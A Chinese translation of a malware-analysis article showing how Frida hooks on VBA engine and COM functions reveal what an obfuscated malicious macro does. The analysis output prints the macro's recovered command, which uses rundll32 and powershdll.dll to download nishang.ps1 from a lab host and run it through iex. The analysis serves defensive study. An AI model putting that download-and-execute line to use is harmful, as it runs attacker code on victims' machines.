  316.       log(ptr(args[0]).readUtf16String()) 
  317.     }, 
  318.     onLeave: function (retval) { 
  319.       dumpAddress(retval); 
  320.     } 
  321.   }) 
  322.  
  323. function hookRtcCreateObject2(moduleName) { 
  324.   hookFunction(moduleName, "rtcCreateObject2", { 
  325.     onEnter: function (args) { 
  326.       log('[+] rtcCreateObject2'); 
  327.       dumpAddress(args[0]); 
  328.       dumpBSTR(args[1]); 
  329.       log(ptr(args[2]).readUtf16String()) 
  330.     }, 
  331.     onLeave: function (retval) { 
  332.       dumpAddress(retval); 
  333.     } 
  334.   }) 
  335.  
  336. //  int __stdcall CVbeProcs::CallMacro(CVbeProcs *this, const wchar_t *) 
  337. function hookCVbeProcsCallMacro(moduleName) { 
  338.   hookFunction(moduleName, "CVbeProcs::CallMacro", { 
  339.     onEnter: function (args) { 
  340.       log('[+] CVbeProcs::CallMacro'); 
  341.       dumpAddress(args[0]); 
  342.       dumpWSTR(args[1]); 
  343.     }, 
  344.     onLeave: function (retval) { 
  345.       dumpAddress(retval); 
  346.     } 
  347.   }) 
  348.  
  349. function hookDispCall(moduleName) { 
  350.   hookFunction(moduleName, "DispCallFunc", { 
  351.     onEnter: function (args) { 
  352.       log("[+] DispCallFunc"
  353.       var pvInstance = args[0] 
  354.       var oVft = args[1] 
  355.       var instance = ptr(ptr(pvInstance).readULong()); 
  356.  
  357.       log(' instance:' + instance); 
  358.       log(' oVft:' + oVft); 
  359.       var vftbPtr = instance.add(oVft) 
  360.       log(' vftbPtr:' + vftbPtr); 
  361.       var functionAddress = ptr(ptr(vftbPtr).readULong()) 
  362.  
  363.       loadModuleForAddress(functionAddress) 
  364.       var functionName = DebugSymbol.fromAddress(functionAddress) 
  365.  
  366.       if (functionName) { 
  367.         log(' functionName:' + functionName); 
  368.       } 
  369.  
  370.       dumpAddress(functionAddress); 
  371.  
  372.       var currentAddress = functionAddress 
  373.       for (var i = 0; i < 10; i++) { 
  374.         try { 
  375.           var instruction = Instruction.parse(currentAddress) 
  376.           log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr) 
  377.           currentAddress = instruction.next 
  378.         } catch (err) { 
  379.           break 
  380.         } 
  381.       } 
  382.     } 
  383.   }) 
  384.  
  385. hookRtcShell('vbe7'
  386. hookVBAStrCat('vbe7'
  387. hookVBAStrComp('vbe7'
  388. hookRtcCreateObject('vbe7'
  389. hookRtcCreateObject2('vbe7'
  390. hookCVbeProcsCallMacro('vbe7'
  391. hookDispCall('oleaut32'

这是一个示例输出,显示了最终的去混淆字符串。

  1. [+] __vbaStrCat 
  2. [+] address: 0x2405009c 
  3. length: 328 
  4.            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF 
  5. 00000000  43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00  C.:.\.W.i.n.d.o. 
  6. 00000010  77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00  w.s.\.S.y.s.t.e. 
  7. 00000020  6d 00 33 00 32 00 5c 00 72 00 75 00 6e 00 64 00  m.3.2.\.r.u.n.d. 
  8. 00000030  6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00  l.l.3.2...e.x.e. 
  9. 00000040  20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00   .C.:.\.U.s.e.r. 
  10. 00000050  73 00 5c 00 74 00 65 00 73 00 74 00 65 00 72 00  s.\.t.e.s.t.e.r. 
  11. 00000060  5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00  \.A.p.p.D.a.t.a. 
  12. 00000070  5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00  \.L.o.c.a.l.\.T. 
  13. 00000080  65 00 6d 00 70 00 5c 00 70 00 6f 00 77 00 65 00  e.m.p.\.p.o.w.e. 
  14. 00000090  72 00 73 00 68 00 64 00 6c 00 6c 00 2e 00 64 00  r.s.h.d.l.l...d. 
  15. 000000a0  6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00  l.l.,.m.a.i.n. . 
  16. 000000b0  2e 00 20 00 7b 00 20 00 49 00 6e 00 76 00 6f 00  .. .{. .I.n.v.o. 
  17. 000000c0  6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00  k.e.-.W.e.b.R.e. 
  18. 000000d0  71 00 75 00 65 00 73 00 74 00 20 00 2d 00 75 00  q.u.e.s.t. .-.u. 
  19. 000000e0  73 00 65 00 62 00 20 00 68 00 74 00 74 00 70 00  s.e.b. .h.t.t.p. 
  20. 000000f0  3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 31 00  :././.1.9.2...1. 
  21. 00000100  36 00 38 00 2e 00 31 00 30 00 2e 00 31 00 30 00  6.8...1.0...1.0. 
  22. 00000110  30 00 3a 00 38 00 30 00 38 00 30 00 2f 00 6e 00  0.:.8.0.8.0./.n. 
  23. 00000120  69 00 73 00 68 00 61 00 6e 00 67 00 2e 00 70 00  i.s.h.a.n.g...p. 
  24. 00000130  73 00 31 00 20 00 7d 00 20 00 5e 00 7c 00 20 00  s.1. .}. .^.|. . 
  25. 00000140  69 00 65 00 78 00 3b 00                          i.e.x.;. 

这是另一个示例,显示了如何从混淆后的字符串构造“ WScript.Shell”字符串。

  1. [+] __vbaStrCat 
  2. [+] address: 0x23fa653c 
  3. length: 14 
  4.            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF 
  5. 00000000  69 00 70 00 74 00 2e 00 53 00 68 00 65 00        i.p.t...S.h.e. 
  6. [+] __vbaStrCat 
  7. [+] address: 0x188e2624 
  8. length: 8 
  9.            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF 
  10. 00000000  26 00 48 00 36 00 63 00                          &.H.6.c. 
  11. [+] __vbaStrCat 
  12. [+] address: 0xe5b82a4 
  13. length: 16 
  14.            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF 
  15. 00000000  69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00  i.p.t...S.h.e.l. 
  16. [+] __vbaStrCat 
  17. [+] address: 0x23fa6e24 
  18. length: 8 
  19.            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF 
  20. 00000000  26 00 48 00 36 00 63 00                          &.H.6.c. 
  21. [+] __vbaStrCat 
  22. [+] address: 0x23fa6a8c 
  23. length: 18 
  24.            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF 
  25. 00000000  69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00  i.p.t...S.h.e.l. 
  26. 00000010  6c 00                                            l. 
  27. [+] __vbaStrCat 
  28. [+] address: 0xe5b82a4 
  29. length: 26 
  30.            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF 
  31. 00000000  57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00  W.S.c.r.i.p.t... 
  32. 00000010  53 00 68 00 65 00 6c 00 6c 00                    S.h.e.l.l. 

rtcCreateObject2

恶意宏显示的许多行为之一是创建对象来执行系统操作,执行此操作的函数是rtcCreateObject2。

  1. .text:653E6ECE ; int __stdcall rtcCreateObject2(int, LPCOLESTR szUserName, wchar_t *Str2) 
  2. .text:653E6ECE                 public _rtcCreateObject2@8 
  3. .text:653E6ECE _rtcCreateObject2@8 proc near           ; DATA XREF: .text:off_651D379C↑o 

在VB引擎中创建新对象时,将调用rtcCreateObject2函数。

以下hook监视args [2]参数(wchar_t * Str2),该参数包含它创建的对象名称。

  1. https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js 
  2.  
  3. function hookRtcCreateObject2(moduleName) { 
  4.   hookFunction(moduleName, "rtcCreateObject2", { 
  5.     onEnter: function (args) { 
  6.       log('[+] rtcCreateObject2'); 
  7.       dumpAddress(args[0]); 
  8.       dumpBSTR(args[1]); 
  9.       log(ptr(args[2]).readUtf16String()) 
  10.     }, 
  11.     onLeave: function (retval) { 
  12.       dumpAddress(retval); 
  13.     } 
  14.   }) 

示例会话显示了CreateObject方法创建WScript.Shell对象。该对象用于从脚本运行外部命令,我们可以预期该脚本将运行外部恶意命令。

  1. [+] rtcCreateObject2 
  2. [+] address: 0xef66dc 
  3.            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF 
  4. 00000000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
  5. 00000010  a4 82 5b 0e 8c 6a fa 23 74 85 5b 0e 8c 67 ef 00  ..[..j.#t.[..g.. 
  6. 00000020  fa 17 be 1b 8c 67 ef 00 d0 6a 2e 75 e0 f1 c0 0c  .....g...j.u.... 
  7. 00000030  60 91                                            `. 
  8. [+] address: 0xe5b82a4 
  9. length: 26 
  10.            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF 
  11. 00000000  57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00  W.S.c.r.i.p.t... 
  12. 00000010  53 00 68 00 65 00 6c 00 6c 00                    S.h.e.l.l. 

0x03 DispCallFunc 函数

有趣的API之一是DispCallFunc函数,此函数用于调用COM方法,通过监视此API,我们可以更好地了解恶意软件正在试图做什么。

该函数的原型如下所示。

  1. HRESULT DispCallFunc( 
  2.   void       *pvInstance, 
  3.   ULONG_PTR  oVft, 
  4.   CALLCONV   cc, 
  5.   VARTYPE    vtReturn, 
  6.   UINT       cActuals, 
  7.   VARTYPE    *prgvt, 
  8.   VARIANTARG **prgpvarg, 
  9.   VARIANT    *pvargResult 
  10. ); 

第一个参数pvInstance具有指向COM实例的指针,第二个参数oVft具有该函数正在调用的方法的偏移量。通过一些计算,你可以找到COM调用最终将调用的函数。

以下是此函数的钩子,该钩子将打印出实际的COM方法名称及其指令。Frida具有用于反汇编指令的API,在这种情况下,它确实非常有用。

  1. function hookDispCall(moduleName) { 
  2.   hookFunction(moduleName, "DispCallFunc", { 
  3.     onEnter: function (args) { 
  4.       log("[+] DispCallFunc"
  5.       var pvInstance = args[0] 
  6.       var oVft = args[1] 
  7.       var instance = ptr(ptr(pvInstance).readULong()); 
  8.  
  9.       log(' instance:' + instance); 
  10.       log(' oVft:' + oVft); 
  11.       var vftbPtr = instance.add(oVft) 
  12.       log(' vftbPtr:' + vftbPtr); 
  13.       var functionAddress = ptr(ptr(vftbPtr).readULong()) 
  14.  
  15.       loadModuleForAddress(functionAddress) 
  16.       var functionName = DebugSymbol.fromAddress(functionAddress) 
  17.  
  18.       if (functionName) { 
  19.         log(' functionName:' + functionName); 
  20.       } 
  21.  
  22.       dumpAddress(functionAddress); 
  23.  
  24.       var currentAddress = functionAddress 
  25.       for (var i = 0; i < 10; i++) { 
  26.         try { 
  27.           var instruction = Instruction.parse(currentAddress) 
  28.           log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr) 
  29.           currentAddress = instruction.next 
  30.         } catch (err) { 
  31.           break 
  32.         } 
  33.       } 
  34.     } 
  35.   }) 

下面显示了示例输出,该输出显示了对wshom.ocx!CWshShell :: Run的COM方法调用。

  1. [+] DispCallFunc 
  2.  instance:0x69901070 
  3.  oVft:0x24 
  4.  vftbPtr:0x69901094 
  5.  functionAddress:0x69906260 
  6.  modules.length:133 
  7.  wshom.ocx: 0x69900000 147456 C:\Windows\System32\wshom.ocx 
  8.   DebugSymbol.loadModule C:\Windows\System32\wshom.ocx 
  9.   DebugSymbol.loadModule loadedModuleBase: true 
  10.  functionName:0x69906260 wshom.ocx!CWshShell::Run 
  11.  
  12. [+] address: 0x69906260 
  13.            0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF 
  14. 00000000  8b ff 55 8b ec 81 ec 5c 08 00 00 a1 b4 52 91 69  ..U....\.....R.i 
  15. 00000010  33 c5 89 45 fc 8b 45 10 8b 4d 14 8b 55 18 89 85  3..E..E..M..U... 
  16. 00000020  f8 f7 ff ff 89 8d ec f7 ff ff 89 95 e4 f7 ff ff  ................ 
  17. 00000030  c7 85                                            .. 
  18.  
  19. 0x69906260: mov edi, edi 
  20. 0x69906262: push ebp 
  21. 0x69906263: mov ebp, esp 
  22. 0x69906265: sub esp, 0x85c 
  23. 0x6990626b: mov eax, dword ptr [0x699152b4] 
  24. 0x69906270: xor eax, ebp 
  25. 0x69906272: mov dword ptr [ebp - 4], eax 
  26. 0x69906275: mov eax, dword ptr [ebp + 0x10] 
  27. 0x69906278: mov ecx, dword ptr [ebp + 0x14] 
  28. 0x6990627b: mov edx, dword ptr [ebp + 0x18] 

此外,你可以添加设备回调,它将监视进程创建行为。下面显示了rundll子进程用于通过powershdll.dll DLL的主要功能运行PowerShell命令来运行PowerShell。

  1. ⚡ child_added: Child(pid=6300, parent_pid=3064, origin=spawn, path='C:\\Windows\\System32\\rundll32.exe', argv=['C:\\Windows\\System32\\rundll32.exe''C:\\Users\\tester\\AppData\\Local\\Temp\\powershdll.dll,main''.''{''Invoke-WebRequest''-useb''http://192.168.10.100:8080/nishang.ps1''}''^|''iex;'], envp=None) 

0x04 分析总结

Frida是我在Windows平台上使用过的最方便,最方便的动态分析工具,WinDbg,OllyDbg和PyKD用于高级逆向,他们有自己的位置和用法。但是,对于真正快速和重复的分析工作,Frida绰绰有余,并且具有转储和分析程序行为的强大功能。有了Frida 12.9.8,我们现在有了更好的符号处理能力,这将提高整体可用性和生产率。

本文翻译自:https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html如若转载,请注明原文地址:

 

责任编辑:姜华 来源: 嘶吼网
相关推荐

2022-06-07 10:09:42

新技术人工智能5G

2022-06-16 17:02:49

微软智能云混合云Azure

2022-05-11 09:02:27

Python数据库Excel

2022-06-22 09:19:55

HDC鸿蒙ADB命令

2022-06-28 09:34:24

可视化Python代码

2022-06-27 17:46:53

PythonFlask

2022-06-23 14:03:26

混合ITCIOIT管理工具

2022-06-09 06:57:53

Windows 10Windows 11微软

2022-06-27 19:01:04

Python应用程序数据

2022-06-07 17:08:51

WizTreewindows工具

2022-06-28 14:47:43

数据中心服务器科技

2022-06-06 10:20:59

CPUCPU 使用率CPU 负载

2022-05-27 15:06:22

攻击面管理(ASM)网络安全运营

2022-06-04 14:43:31

Windows 10出厂设置重装

2022-06-15 09:54:51

PythonIDELinux

2022-04-27 09:30:01

Python爬虫人工智能

2022-05-05 09:27:31

Linux服务器优化

2022-06-23 09:49:16

火绒安全英特尔

2022-06-21 09:26:21

Shell脚本JavaScript

2022-06-13 08:18:02

操作系统CPU保护模式

同话题下的热门内容

源码探秘:Python 中对象是如何被调用的?使用Java和Python进行数据统计和分析C++与Java“相爱相杀”:一个步步紧逼,一个节节败退裁员真能拯救中国互联网?吐血推荐17个提升开发效率的“轮子”Flask vs Django: 该如何选择Python框架?哪个版本的JVM最快?编写完10万行代码,我发了篇长文吐槽Rust

编辑推荐

2017年9月编程语言排行榜:Java、C与C++三巨头还能统治排行榜多久?2017年最受欢迎的5个前端框架比较2017年11月编程语言排行榜:脚本语言怎么了?2017年3月编程语言排行榜:Swift首次进入前十最近租房有点烦!技术人如何用Python找到称心如意的“小窝”?
我收藏的内容
点赞
收藏

51CTO技术栈公众号